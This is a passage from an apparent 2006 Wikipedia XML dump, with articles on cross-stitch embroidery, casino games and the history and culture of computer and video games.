*[http://www.pagat.com/ipcs/ International Playing Card Society]
*[http://jducoeur.org/game-hist/game-rules.html Rules for historic card games]

[[Category:Card games|*]]

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  <page>
    <title>Cross-stitch</title>
    <id>5361</id>
    <revision>
      <id>40361360</id>
      <timestamp>2006-02-20T01:33:46Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:Welsh_dresser.jpg|thumb|A sample cross-stitch of a [[Welsh dresser]].]]
'''Cross-stitch''' is a popular form of [[counted-thread embroidery]] in which X-shaped stitches are used to form a picture.   Other stitches are also commonly used in cross-stitch, among them, 1/4, 1/2 and 3/4 stitches and backstitches. Cross-stitch is usually executed on easily countable evenweave fabric, or more rarely on non-countable fabric, on which a countable fabric is applied that is removed later, by drawing out every thread of it under the embroidery. This fabric is called waste canvas. The stitcher counts the threads in each direction so that the stitches are of uniform size and appearance.

This form of cross-stitch is also called ''counted cross-stitch'' in order to distinguish it from other forms of cross-stitch. Sometimes cross-stitch is also done on designs printed on the canvas, showing every single cross (stamped cross-stitch).

== Modern cross-stitch ==
=== Description of the technique===
Cross-stitch embroiderers frequently use an even-weave fabric of [[linen]] or [[cotton]] and work from charts on graph paper. Cross-stitching can also be done on a specialty [[Aida cloth]] that is available in 11, 14, 16, 18, and 22 count sizes. The sizes of Aida and Evenweave types denote the approximate number of fibers in an [[inch]]. Special vinyl weaves and perforated paper products are also available. The size of a piece of embroidery can be changed by using a fabric with another count size.

[[Image:Cross stitch closeup.jpg|thumb|right|250px|Counted cross-stitch on even-weave fabric]]

Today [[cotton embroidery floss]] is the most usual thread. It is a thread made of mercerised [[cotton]], made of six strands that are only loosely twisted together and easily separable. Other materials used are [[pearl cotton]], [[Danish flower thread]] and several different threads made of [[silk]] or [[Rayon]]. Danish flower thread is especially popular for nature motifs which originally came from [[Denmark]]. Sometimes different wool threads, metallic threads or other specialty threads are used, sometimes for the whole work, sometimes for accents and embellishments. 

Thread size is usually chosen so that the stitches cover the fabric completely, creating a tapestry-like effect. But especially in monochrome work the thread can also be chosen a bit thinner, so that the individual crosses can be recognised as such and let the fabric show through a bit. The latter possibility can look nice in monochrome patterns and in combination with [[Blackwork]].

===Uses===
Today cross-stitch is the most popular form of embroidery as a hobby in the western world. It lends itself well to recreational use because it's easy to learn and very versatile. There are patterns available for almost every taste, and even beginners can create beautiful stitchery with some patience.

Traditionally cross-stitch was used to embellish things like dishwear, household linen, doilies and similar, half useful, half ornamental items. This use is still popular, especially in Europe. But often cross-stitch is used to make pieces that are meant to be framed and hung as pictures. On items for daily use, usually only small areas are embroidered. The pictures can either have an unembroidered background or be completely covered with stitches.

There are cross-stitching &quot;guilds&quot; in various cities of the USA and other countries that propagate knowledge about cross-stitch and give stitchers the opportunity to meet people with the same interest. Often they also offer lessons. Sometimes these guilds do collaborative works that would be too big for one stitcher.

===Designs===
Modern cross-stitch designs often makes extensive use of colours in many shades. When using fine fabric and thread this can create very realistic effects, almost like paintings, if that is desired. The look of such opulent designs is somewhat related to [[Berlin wool work]], although the subjects are more varied and sometimes more modern. Others prefer more stylised patterns with less colours, which may go well with modern furniture, but also may be suggestive of traditional patterns.

Often cross-stitch is combined with other popular forms of embroidery, such as [[Hardanger embroidery]] or [[blackwork embroidery]].

A fairly recent development is the use of other stitches in cross-stitch work, in this context called ''special stitches'', in order to create new visual effects and satisfy the wishes of keen stitchers who may find pure cross-stitch boring after a while. These may be stitches from [[surface embroidery]], [[canvaswork]] or even [[drawn thread work]] and other more unusual branches of embroidery. Also beadwork and other embellishments like paillettes and specialty threads of various kinds are becoming more popular.

This development, new as it may seem is in fact a reinvention. In earliest times, cross-stitch was often used as one of many different stitches.

Especially in the [[USA]] there are many cross-stitch designers who sell their patterns under their names and are well-known among stitchers. Many of them maintain websites and keep in touch with possible customers, although usually the patterns are sold by shops and other distributors. Other patterns are published in cheap magazines, especially patterns done by native designers in Europe.

Cross-stitch design has become possible for many hobby embroiderers with the advent of cross-stitch design computer software. Thus it can be a form of creative expression rather than just copying the patterns of someone else.

== Related stitches and forms of embroidery ==
Cross-stitch was often used together with other stitches. It is sometimes used in [[Crewel embroidery]], especially in its more modern derivatives.  It is also often used in [[needlepoint]].

A specialized historical form of embroidery using cross-stitch is [[Assisi Embroidery]].

There are many stitches which are related to cross-stitch and were used in similar ways in earlier times. The best known are [[Italian cross-stitch]], [[long-armed cross-stitch]], and [[Montenegrin stitch]]. Italian cross-stitch and Montenegrin stitch are reversible, that means the work looks the same on both sides. They have a slightly different look than regular cross-stitch. Two-sided cross-stitch looks exactly like regular cross-stitch, but is also reversible. The reversible stitches are more difficult and time-consuming, and use more thread. All those stitches are rarely used in mainstream embroidery, but they are still used to recreate historical pieces of embroidery or by the creative and adventurous stitcher.

[[Berlin wool work]] and similar petit point stitchery resembles the heavily shaded, opulent styles of cross-stitch, and sometimes also used charted patterns on paper.

Photo to cross-stitch conversion is also becoming popular. Here is a site that may be helpful to those wishing to learn a method of converting photos to cross-stitch designs.
http://laydenwithstitches.4t.com

== History ==
[[Image:Cross stitch detail.jpg|left|thumb|200px|Detail of floral border pattern in cotton.  Tea cloth (small tablecloth), [[Hungary]], mid-twentieth century]]

Cross-stitch is one of the oldest forms of embroidery and can be found all over the world. Many folk museums show examples of clothing decorated with cross-stitch, especially from continental [[Europe]] and [[Asia]].

Two-dimensional (unshaded) cross-stitch in floral and geometric patterns, usually worked in black and red cotton floss on linen, is characteristic of folk embroidery in [[Eastern Europe|Eastern]] and [[Central Europe]].

In the United States, the earliest known cross-stitch sampler is currently housed at [[Pilgrim Hall]] in [[Plymouth, Massachusetts]]  ([http://www.pilgrimhall.org/s_sampler.htm Pilgrim Hall]).The sampler was created by Loara Standish, the daughter of Captain [[Myles Standish]], circa 1653.

Multicoloured, shaded, painting-like patterns as we know them today are a recent development, deriving from similar shaded patterns of [[Berlin wool work]] of the mid-[[nineteenth century]].

==External links==
*[http://www.realistitch.com/ Realistitch]: Unusual Cross stitch designs!
*[http://www.superstitcher.com/downloads/Instructions%20for%20Cross%20Stitching.pdf Cross Stitch]: Instructions for Cross Stitching.
*[http://users.rcn.com/kdyer.dnai/ Software for Needlework]: lists software for Windows, Macintosh, Amiga, Linux
*[http://alitadesigns.com/ Cross Stitch]: The history of needlework and x-stitch patterns
*[http://www.kits2stitch.com/history.php Cross Stitch History]: The history of sewing and cross stitch
*[http://www.darklilac.com/upload.jsp Cross Stitch Chart Design Generator]: Create a Cross Stitch Chart Design from any image.

[[Category:Embroidery]]

[[it:Punto croce]]
[[nl:Kruissteek]]
[[sv: Korsstygn]]</text>
    </revision>
  </page>
  <page>
    <title>Casino game</title>
    <id>5362</id>
    <revision>
      <id>36912634</id>
      <timestamp>2006-01-27T07:21:34Z</timestamp>
      <contributor>
        <username>Scottmci</username>
        <id>841543</id>
      </contributor>
      <comment>/* Cards */</comment>
      <text xml:space="preserve">[[Game|Games]] available in most [[casino]]s are commonly called '''casino games'''. In a casino game, the players [[gambling|gamble]] [[casino token|casino chips]] on various possible [[random]] outcomes or combinations of outcomes. Casino games are available in [[online casino]]s, where permitted by law. Casino games can also be played outside of casinos for entertainment purposes, some on machines that simulate gambling.

==House advantage==
Casino games generally provide a predictable long-term advantage to the casino, or &quot;house&quot;, while offering the player the possibility of a large short-term payout. Casino games often include an [[illusion of control]], in which the player must make choices. However, in most cases it is not mathematically possible for a player to eliminate his or her inherent long-term disadvantage (the '''house advantage''') in a casino game. 

The player's disadvantage is a result of the casino not paying winning wagers according to the game's &quot;true odds&quot;, which are the payouts that would be expected considering the odds of a wager either winning or losing. For example, if a game is played by wagering on the number that would result from the roll of one die, true odds would be 6 times the amount wagered since there is a 1 in 6 chance of any single number appearing. However, the casino may only pay 5 times the amount wagered for a winning wager.

==Categories of casino games==
There are three general categories of casino games:
===Table games=== 
Table games are played on a large table covered with a printed felt layout and may contain seating locations for players, with a dealer and other casino employees located on one side of the table (known as the &quot;pit&quot;) and players located on the opposite side. Table games may be played with cards, dice, or other gaming equipment. 
===Gaming machines===
Gaming machines, such as slot machines, are usually played by one player at a time and do not require the involvement of casino employees to play. 
===Random number games===
Random number games are based upon the selection of random numbers, either from a computerized [[random number generator]] or from other gaming equipment. Random number games may be played at a table, such as Roulette, or through the purchase of paper tickets or cards, such as Keno or Bingo.

==Common table games==
===Cards===
* [[Asian stud]]
* [[Baccarat]]
* [[Blackjack]]
* [[Caribbean Stud Poker]]
* [[Chinese poker]]
* [[Chuck-a-luck]]
* [[Faro_(card-game)|Faro]]
* [[Four card poker]]
* [[Let It Ride]]
* [[Mambo stud]]
* [[Pai gow poker]]
* [[Red dog (card game)|Red dog]]
* [[Spanish 21]]
* [[Texas Hold'em Bonus Poker]]
* [[Three card poker]]
* [[Two-up]]

===Dice / Tiles===
* [[Craps]]
* [[Pai Gow]]
* [[Sic bo]]

===Random numbers===
* Big Wheel / Big Six
* [[Roulette]]

==Common random number games (non-table)==
* [[Bingo]]
* [[Keno]]

==Common gaming machines==
* [[Slot machine]]
* [[Video Lottery Terminal]]
* [[Video poker]] 

==See also==
* [[Gambler's fallacy]]


[[Category:Casinos]]
[[Category:Gambling]]

[[ja:世界のカジノゲーム一覧]]</text>
    </revision>
  </page>
  <page>
    <title>Computer and video games</title>
    <id>5363</id>
    <revision>
      <id>41973186</id>
      <timestamp>2006-03-02T23:48:26Z</timestamp>
      <contributor>
        <username>Krash</username>
        <id>219529</id>
      </contributor>
      <minor />
      <comment>dab &quot;Keyboard&quot;</comment>
      <text xml:space="preserve">:''This art is about computer and video games. For the magazine see [[Computer and Video Games (magazine)]].''

:''For the list, see [[list of computer and video games]].
[[Image:Pac-man.png|thumb|250px|[[Namco]]'s ''[[Pac-Man]]'' was a hit, and became a cultural phenomenon.  The game spawned merchandise, a [[cartoon series]], [[popular music|pop]] [[song]]s and was one of the most heavily cloned video games ever.]]
{{portal}}
A '''computer game''' is a [[computer]]-controlled [[game]] that [[player (game)|player]]s may interact with. A '''video game''' is a computer game where a [[video display]] such as a monitor or television is the primary [[feedback]] device. These terms are not always interchangeable as some games, particularly older games, do not use a video display. There must also be some sort of [[input]] device, usually in the form of [[Button (control)|button]]/[[joystick]] combinations (on [[arcade]] games), a [[Computer keyboard|keyboard]] &amp; [[Computer mouse|mouse]]/[[trackball]] combination ([[PC game|PC games]]), or a [[Game controller|controller]] ([[Video game console|console games]]), or a combination of any of the above. Also, more esoteric devices have been used for input (also see [[Game controller]]). Usually there are rules and goals, but in more open-ended games the player may be free to do whatever they like within the confines of the virtual universe.

The phrase '''interactive entertainment''' is the formal reference to computer and video games. To avoid ambiguity, this game software is referred to as &quot;''computer and video games''&quot; throughout this article, which explores things common to both types of game.  

In common usage, &quot;computer game&quot; or &quot;[[PC game]]&quot; refers specifically to games played on a [[personal computer]], &quot;[[console game]]&quot; refers to games played on specifically-designed set top box, that play through a TV and &quot;video game&quot; (or &quot;videogame&quot;) refers to any game played on a device that plays through your TV but also includes PC, [[Console]], [[Mobile Phone]] or [[Personal digital assistant|PDA]] or other handheld device.

*''For specific information regarding &quot;computer games&quot;, see [[personal computer game]].''
*''For specific information regarding &quot;console games&quot;, see [[console game]].''

==History==
{{main|History of computer and video games}}

The first primitive computer and video games were developed in the 1960s and 1970s and ran on platforms such as [[oscilloscope]]s, [[university]] [[mainframe]]s and [[EDSAC]] computers. The first video game was ''[[Tennis for Two]]'' created by [[William Higginbotham]] in [[1958]]. [[Arcade games]] were developed in the 1970s (Pac-man to Frogger) and led to the so-called &quot;[[Golden Age of Arcade Games]]&quot;.  One of the best-known of these games is ''[[Pong]]'', a simple game simulating Ping Pong. The paddles were white bars with a dot moving between them.  

The 1970s also saw the release of the first home [[video game console]]s. The first home console video games were created by [[Ralph Baer]], who is now known as the creator of home console video games. He created a system with limited capabilities called the [[Magnavox Odyssey]], which paved the way for the next wave of home consoles.

The late 1970s to early 1980s brought about the improvement of home consoles and the release of the [[Atari 2600]], [[Intellivision]] and [[Colecovision]].  The [[video game crash of 1983]], however, produced a ''dark age'' in the market that was not filled until the [[Nintendo Entertainment System]] (NES) reached North America in 1985.This presented Americans with games such as Mario Bros. and many others of today's popular Nintendo genre.    

The last two decades of game history have been marked by separate markets for games on [[video game consoles]], [[home computers]] and [[handhelds]].  See the article on [[Console wars]] for additional information on that facet of game history.                                                                        

In 1989, Nintendo released the [[Game Boy]], the first popular [[Handheld game console|handheld console]]. Included with the system was [[Tetris]], which became a popular puzzle game. Several rival handhelds also made their debut around that time, including the [[Sega Game Gear]] and [[Atari Lynx]]. While some of the other systems remained in production until the mid-90s, the Game Boy remained at the top spot in sales throughout its lifespan.

The North American market was dominated by the [[Sega]] [[Sega Mega Drive/Sega Genesis|Genesis]] early on after its debut in [[1989]], with the [[Nintendo]] [[SNES|Super NES]] proving a strong, roughly equal rival in [[1991]]. The [[NEC]] [[TurboGrafx 16]] was the first 16-bit system to be marketed in the region, but did not achieve a large following, partly due to a limited library of English games and effective marketing from Sega. In Japan, the [[PC Engine]]'s (Turbografx 16) [[1987]] success against the [[Famicom]] and [[CD]] drive peripheral allowed it to fend off the [[Sega Mega Drive/Sega Genesis|Mega Drive]] (Genesis) in 1988, which never really caught on to the same degree as outside Japan.  The PC Engine eventually lost out to the [[Super Famicom]], but retained enough of a user base to support new games well into the late 1990s. CD-ROM drives were first seen in this generation, as add-ons for the PC Engine in 1988 and the Megadrive in 1991. Basic [[3D graphics]] entered the mainstream with flat-shaded polygons enabled by additional processors in game cartridges like [[Virtua Racing]] and [[Starfox]].

[[Image:N64 Super Mario 64 shifting sand land.jpg|thumb|200px|''[[Super Mario 64]]'' became a defining title for 3D platformers]]
In [[1994]]-[[1995]], Sega released [[Sega Saturn]] and [[Sony]] made its debut to the video gaming scene with the [[PlayStation]]. Both consoles used [[32-bit]] technology; the door was open for 3D games. After many delays, Nintendo released its [[64-bit]] console, the [[Nintendo 64]] in [[1996]], selling more than 1.5 million units in only three months. The flagship title, ''[[Super Mario 64]]'', became a defining title for 3D platform games. Nintendo's choice to use [[Cartridge (electronics)|cartridges]] instead of [[CD-ROM]]s for the Nintendo 64, unique among the consoles of this period, proved to have negative consequences. In particular, [[Square Co., Ltd.|SquareSoft]], which had released all previous games in its ''[[Final Fantasy]]'' series for Nintendo consoles, now turned to the PlayStation; ''[[Final Fantasy VII]]'' ([[1997]]) was a huge success, establishing the popularity of role-playing games in the west and making the PlayStation the primary console for the genre. By the end of this period, Sony had dethroned Nintendo, the PlayStation outselling the Nintendo 64. The Saturn was successful in Japan but a failure in North America, leaving Sega outside of the main competition.

1998 saw the releases of the Sega [[Dreamcast]] in Japan (1999 in the US) and the [[Game Boy Color]] from Nintendo. In 2000 Sony released the widely anticipated [[PlayStation 2]]. In the same year ''[[The Sims]]'' was released.  It was an instant hit and became the best-selling computer game of all time, surpassing ''[[Myst]]''. In 2001 [[Microsoft]] entered the videogame console industry by releasing its new home console, the [[Xbox]]. Its flagship game, ''[[Halo: Combat Evolved]]'', being available at the system's launch. Nintendo released their successor to the Nintendo 64, the [[GameCube]], and the first all-new Game Boy since the console's inception, the [[Game Boy Advance]]. Sega realised they could no longer compete, and announced they would discontinue the Dreamcast and no longer manufacture hardware, becoming a [[third-party developer]] in 2002.

[[Nokia]] entered the handheld market with its N-Gage game-phone [[hybrid]] in 2003. It was criticised for being poorly designed, and flopped. In 2004 Nokia released a re-designed N-Gage, called the [[N-Gage QD]], which didn't fare much better. The other two more technically advanced handhelds to be released in 2004, the [[Nintendo DS]] (DS stands for Dual-Screen) and the [[PlayStation Portable]] (PSP), didn't help the N-Gage. The Nintendo DS is a highly innovative handheld, the PSP is much more powerful and also includes limited media capabilities. In Western countries the consoles have had similar levels of success (PSP sales are slightly higher), but in Japan the DS has been a huge hit, vastly outselling the PSP.

The end of 2005 saw the release of the [[Xbox 360]] - the first of the next generation of consoles.

===The future of console gaming===
2006 will see the continuation of the next generation of console gaming in the form of two new consoles. [[Sony]] with the [[PlayStation 3]] and [[Nintendo]] with the codenamed [[Nintendo Revolution|Revolution]] will join [[Microsoft]] with the already released [[Xbox 360]] in this year's &quot;technology race&quot;.
The Xbox 360, will be powered by a multi-core [[Central processing unit|CPU]], the PlayStation 3 will be powered by [[Cell (microprocessor)|Cell processor]] technology, and the Nintendo Revolution will allow the gamer to interact with the game via a wireless motion sensing controller and promises more innovations, although full technical specifications are yet to be revealed.

==Gameplay==
{{main|Gameplay}}

In computer and video gaming, gameplay (sometimes called &quot;Game mechanics&quot;) is a general term that describes player interaction with a game. It includes direct interaction, such as controls and [[User interface|interface]], but also [[game design|design]] aspects of the game, such as [[Level (computer and video games)|level]]s and graphics.

Although the use of this term is often disputed, as it is considered too vague for the range of concepts it describes, it is currently the most commonly used and accepted term for this purpose when describing video games.

==Genres==
{{main|Computer and video game genres}}

Games, like most other forms of media, may be categorized into [[computer and video game genres|genre]]s based on gameplay, atmosphere, and various other factors.  In fact, games are often much easier to classify by genre than films, music, or books.  Due to gaming's relatively short history, technical limitations, and the commercial pressures currently affecting the North American and Japanese markets, electronic games are ensconced in a period of extreme [[formalism]].  Recently, video games have begun to explode in popularity, a rise which coincides with an increase in production value, and thus, development cost.  As gamers come to expect talented voice acting, enormous, meticulously-constructed worlds and hollywood-quality sound effects, production costs rise, and owing to the tremendous investment required by publishers (who want to maximize profits), most choose to make games based upon &quot;tried-and-true&quot; ideas, borrowing heavily from previous games and concepts.

This is most evident in the trend of publishers to establish &quot;franchises&quot;, which often recycle same characters, situations, conflicts, gameplay mechanics, and themes for any number of sequels.  Therefore, though many games may combine genres, very few exist outside the paradigm of previously established genres, with notable exceptions.

The most common genres in use today include [[platform game|platformer]], [[adventure game|adventure]], [[computer role-playing game|role-playing game (RPG)]], [[first person shooter|first person shooter (FPS)]], [[third person shooter]] (both these are sometimes refered to as shoot-'em-ups), [[sports game|sports]], [[racing game|racing]], [[fighting game|fighting]], [[action game|action]] (note that this term is abused often), [[puzzle game|puzzle]], [[simulation game|simulation]], and [[real time strategy|real time strategy (RTS)]]. Most games nowadays are a combination of two or more genres (e.g action/RPG).

The increase in the popularity of [[Internet gaming|online gaming]] has also resulted in sub-genres being formed, such as [[MMORPG|massively multiplayer online role-playing game]] (MMORPG).

==Gaming platforms==
[[Image:gta3-pc-stealing.jpeg|right|thumb|''[[Grand Theft Auto III]]'' is an example of a game that is popular as a console game as well as a computer game.]]
Today there are many different devices, or platforms, on which games may be played. Personal computers, consoles, handheld systems, and arcade machines are all common. Games are not interchangeable between platforms so, for example, Xbox games will not work in your PC. The 3 main home video game platform companies are [http://www.nintendo.com Nintendo], [http://www.xbox.com/en-US/ChangeLocale.htm Microsoft], and [http://playstation.com/ Sony], who between them have created seven of the eight home platforms most commonly used today. The final home platform is the PC.

Many games intended for PCs are now just as prevalent on consoles, with many developers creating versions for more than one platform. During the last generation of gaming, most major PC game releases have coincided with the release of console versions, and titles initially developed for a single platform are often ''ported'' to others if they prove to be successful.

===Personal Computer===
{{main|Personal computer game}}

Personal computer games are commonly referred to as &quot;computer games&quot; or &quot;PC games&quot;. They are played on the [[personal computer]] with standard [[computer interface device]]s such as the [[Alphanumeric keyboard|keyboard]] and [[computer mouse|mouse]], or additional [[peripherals]], such as [[joystick]]s. Video feedback is received by the user through the computer screen, sound through [[speakers]] or [[headphones]]. PC games are often more detailed than console games because of early market releases of their external architecture and [[Video card|graphics cards]].

Today, most major PC games require a recent version of the [[Microsoft Windows|Windows]] [[operating system]] to be installed on the computer. There is, however, a continuing movement to get the most popular games to run under the [[Apple Macintosh|Macintosh]] and [[Linux]] operating systems, although it is still small.

According to the [[Entertainment Software Association]], console games have outsold computer games roughly four units to one in 2003 and 2004 {{ref|pcsales}}. For more information, see [[#Sales|sales]].

One possible explanation for the declining sales of personal computer games in relation to that of consoles can be found within the PC itself: a computer must meet certain minimum requirements such as [[Central processing unit|CPU]] speed, Random access memory (RAM), system clock speed (MHz or GHz), video card memory, [[hard drive]] space, operating system, Internet connection speed (for online games) and other criteria. Without the proper hardware, the game may perform poorly or not run at all, as opposed to console software, in which the software is designed based on the set hardware configuration of the console.  Ease of [[software piracy]] is also a much greater threat with PC games, although console hardware modifications do make it possible to play pirated games on them as well.

====Internet====
{{main|Online game}}

Online Games are those which are played over the [[Internet]]. Online gaming began with PC games, but has expanded over time to include most modern consoles. The first console to incorporate this feature was the [[Sega Dreamcast]]. It is now a key feature of modern games, with the inclusion of Internet connectivity in consoles such as the [[PlayStation 2]], [[Xbox]] and [[Gamecube]] (although it was only fully exploited on the Xbox); portable consoles such as the [[PlayStation Portable|PSP]] or [[Nintendo DS|DS]] that use [[Wi-Fi]], and in mobile/cellular phones. Online games need to allow several people to play at the same time, so not all genres are suitable; the most popular genres include MMORPGs, FPSs, racing/driving games, strategy games, and sports titles.

The Internet is also host to thousands of small web-based games, written using formats like ''[[Macromedia Flash|Flash]]'' and ''[[Javascript]]''. These games generally do not share the same magnitude of development costs, depth, or seriousness of PC and console games, and are generally quick to complete by comparison. Some are on going user-based games that have no ending. Some of these games, such as [[Runescape]], however, have expanded far beyond this, and can often be considered on the same level as &quot;mainstream&quot; PC games.

===Console===
{{main|Console game}}

Console games are played on a [[video game console]],or &quot;home console&quot;, a specialized computer specifically designed to play games of a certain [[format]]. The player usually interacts with the game through a [[game controller|controller]], and video and sound are typically delivered to the player via a television through composite A/V cables, although most modern consoles support additional outputs, such as [[surround sound]], progressive scan, and High Definition setups through the use of component cables.

Consoles themselves branched off from [[personal computers]] around two decades ago, a fact which is still evident not only in the name, but also in many of the peripherals available for many consoles, like the keyboard and mouse peripherals released for the [[Sony]] [[PlayStation 2]] and the [[Sega]] [[Dreamcast]].

===Handheld===
{{main|Handheld video game}}

Handheld games are played on [[handheld game console]]s, such as the [[Nintendo]] [[Game Boy]] line, the [[Nintendo]] [[DS]] and the [[Sony]] [[PlayStation Portable|PSP]]. Handheld consoles act as their own [[game controller|controller]]s, which the player uses to interact with the game, as well as having in-built display and audio output devices. Because they are designed to be played on the go, they were traditionally small enough to carry conveniently in a bag or jacket (the [[Virtual Boy]] being an exception to this), but due to their small size, handheld consoles have reduced processing power compared to larger consoles, meaning that games are shorter, and until the release of the [[Nintendo DS]], were largely limited to [[2D]]. There have been some news and pictures of a new Microsoft handheld system codenamed &quot;Origami&quot;. It is more of portable computer than a pure gaming device, but you can play games on it. It probably will not be released for some time.

===Arcade===
{{main|Arcade game}}

[[Arcade game]]s, traditionally, are &quot;coin-operated games&quot;, and are played on a standalone device originally leased to commercial entertainment venues. These are programmed, equipped, and decorated for a specific game, consisting of a video display, a set of controls, and the coin slot. Controls are similar to those available for many consoles (albeit usually as peripherals) and range from the classic joystick and buttons (Pac-Man), to light guns (Duck Hunt), to pads on the ground that sense pressure (Dance Dance Revolution). Arcade games that are no longer profitable to lease can be purchased by private individuals, many of whom then explore the game dynamics by altering the programs in minor ways.

This term has now expanded to include any game that has more direct action, with fewer long term objectives, focuses on time limits and, for the most part, shorter in-game levels.

==Popularity==
The popularity of computer and video games, as a whole, has been increasing steadily ever since the 1984-1987 drop-off caused by the [[video game crash of 1983]], and the popularity appears to be continuing to increase.  The average age of the video game player is now 30 {{ref|avgage}}, belying the myth that video games are largely a diversion for [[teenager]]s.

===Sales===
[[Image:Videogameretaildisplay.jpg|thumb|right|275px|A typical retail display (in [[Geneva]], [[Switzerland]]) with a large selection of games for several major consoles]]
The four largest markets for computer and video games are the [[United States]], [[Japan]], [[Canada]] and the [[United Kingdom]].  Other significant markets include [[Spain]], [[Germany]], [[South Korea]], [[France]], and [[Italy]].  [[China]] is not considered a significant market, most likely because an estimated 95% of video games sold in the country are [[Copyright infringement of software|pirated]] {{ref|piracy}}. 

Sales of different types of games vary widely between these markets due to local preferences.  Japanese consumers avoid computer games and instead buy video games, with a strong preference for games created in Japan, that run on Japanese consoles (1 reason the Xbox series is less popular).  In South Korea, computer games are preferred, especially [[MMORPG]] games and [[real-time strategy]] games; there are over 20,000 [[PC bang]] Internet cafes where computer games can be played for an hourly charge. 

The [[NPD Group]] tracks computer and video game sales in the United States.  It reported that [[as of 2004]]:

* Console and portable software sales: $6.2 billion, up 8% from 2003 {{ref label|sales|4|a}}
* Console and portable hardware and accessory sales: $3.7 billion, down 35% from 2003 {{ref label|sales|4|b}}
* PC game sales: $1.1 billion, down 2% from 2003 {{ref|ussales}}

These figures are sales in dollars, not units; unit shipments for each category were higher than the dollar sales numbers indicate, as more software and hardware was sold at reduced prices compared to 2003.

Retail PC game sales have been declining slightly each year since about 1998, but this fact should be taken with a grain of salt: the retail sales numbers from NPD do not include sales from online downloads, nor subscription revenue for games like [[MMORPG]]s.

There is a commonly repeated, mistaken belief that video game sales now exceed the revenues of the [[movie industry]].  This is untrue; in the United States, video game sales have exceeded the movies' total box office revenue each year since about 1996, but the [[movie studio]]s trounce the [[video game publisher]]s when the movies' &quot;ancillary revenue&quot; is counted, meaning sales of [[DVD]]s, sales to foreign distributors, and sales to [[cable TV]], [[satellite TV]], and broadcast [[television network]]s.

The game and film industries are also becoming increasingly intertwined, with companies like [[Sony]] having significant stakes in both. A large number of summer blockbuster films spawn a companion game, often launching at the same time in order to share the marketing costs.

===Computer and video games in the broader culture===
[[Image:EE3.jpg|thumb|200px|The [[Electronic Entertainment Expo]] ([[E3|E³]]) is held every year in [[Los Angeles]]. New projects are shown every year.]]
Computer games are huge business worldwide.  Take for example [[South Korea]].  Developers there boast [[MMORPG]]s such as ''[[Lineage (game)|Lineage]]'' and ''[[Ragnarok Online]]'' with millions of subscribers and a third of the world's MMOG revenue.  ''[[StarCraft]]'' [[gosu]] (expert players) are celebrities in a game that some have called the country's [[national sport]].  The success of computer and online gaming there is usually credited to South Korea's push for [[broadband]] Internet connections in the home and earlier bans on Japanese products (these restrictions were removed by the late 1990s).

Numerous websites and publications devoted solely to games have been created, including ''[[Official Xbox Magazine]]'', ''[[Nintendo Power]]'', ''[[Official U.S. PlayStation Magazine]]'', ''[[GamePro]]'', ''[[Electronic Gaming Monthly]], ''[[GameSpot]]'', ''[[GameSpy]]'', ''[[IGN]]'', ''[http://www.ampedigo.com Amped News]'', and ''[[GameFAQs]]''.

Video gaming is now ingrained in popular culture in the United States. Many [[T-shirt]]s are available that directly reference video games, such as one with a picture of an [[NES]] controller with the text 'Know Your Roots.' Also, video games have also become a major part in cross marketing platforms, such as in [[Pokémon]] or [[Yu-Gi-Oh]], where a child can watch the television show, buy the trading cards, and play the various video games available.

Video game properties have had mixed success when migrating to the movies. One of the first films based on a video game property was ''[[The Wizard (movie)|The Wizard]]'', which some criticized as a 90-minute ad for ''[[Super Mario Bros (TV)#The Adventures of Super Mario Bros. 3|Super Mario Brothers 3]]''. In the mid-[[1990s|90s]], films for ''[[Super Mario Bros. (film)|Super Mario Brothers]]'', ''[[Street Fighter (film)|Street Fighter]]'', ''[[Wing Commander (feature film)|Wing Commander]]'' and ''[[Mortal Kombat (movie)|Mortal Kombat]]'' were released. Reviews have generally been poor.

Despite the ultimately poor performance of these movies, many studios still want to turn big games into movies, hoping that the popularity of the game will help the movie. However, after the initial bunch, many projects materialized that were never finished, but the success of films like ''[[Lara Croft: Tomb Raider]]'' has led to more films materializing. ''[[Doom]]'', a game which film makers were trying to cross over since the mid '90s, finally hit theatres 12 years after its initial release.  [[John Woo]] also has producing rights on a movie based on the popular [[Nintendo]] game ''[[Metroid]]''.

There is still debate in the movie industry on whether video games can consistently be turned into good, profitable movies. Films like ''[[Final Fantasy: The Spirits Within]]'', which has received mixed responses from audiences, with some saying it is a great movie, and others saying it is a very bad movie with excellent [[computer-generated imagery]], but ultimately flopped in the box office, and [[Uwe Boll]]'s ''[[House of the Dead (film)|House of the Dead]]'', ''[[Alone in the Dark]]'', and ''[[Bloodrayne]]'' which all ended up being horrible flops both in fan reactions and box office success and both ending up on the [[IMDB]]'s bottom 100 movies, do not, in turn, give much confidence in whether these movies will be handled seriously.  The recently released [[Final Fantasy VII: Advent Children]] may change some people's minds though, even though it's a straight to DVD affair.

On the other hand, video games get much more success when adapted into cartoons/anime. Some notable examples of major success includes the various [[Super Mario Bros. (TV)|Mario Bros. cartoons]], [[Sonic the Hedgehog (TV series)|Sonic SatAM]], [[Captain N: The Game Master]] and ''[[Earthworm Jim]]'' while ''[[Sonic Underground]]'', the American ''[[Mega Man]]'' cartoon and ''[[F-Zero GP Legend]]'' are cited as being poor. Sometime, they even &quot;help&quot; more obscure/Japan-only games pick up popularity in America although rarely; ''[[To Heart]]'' would be the best example of such thing.

Movies have had far more success moving the other direction, onto video games.  Most summer blockbuster films now have a simultaneous video game release; some of the most lucrative video games of recent times are based on movies, such as [[Electronic Arts]]' and [[Stormfront Studios]]' ''[[The Lord of the Rings: The Two Towers (video game)|The Lord of the Rings: The Two Towers]]'' and the series of EA ''LotR'' games that followed it, and [[Activision]]'s two ''[[Spider-Man]]'' movie games.   

Even though movies have had more success in game conversion, not all movie games are popular amongst the gaming community. Some publishers believe that the success of the movie will help the game sell, and so may not have as lengthy a development schedule as needed to make a compelling game. Some examples of this are the ''[[Catwoman (movie)|Catwoman]]'' and ''[[King Arthur (movie)|King Arthur]]'' movie games along with the entire television-to-game franchise.

Also, video games have found themselves on [[MTV2]], in a popular show called ''[[Video Mod]]'', where characters from popular video games perform songs from hit artists, such as characters from ''[[The Sims 2]]'' performing the song &quot;Stacy's Mom&quot; by [[Fountains Of Wayne]]. 

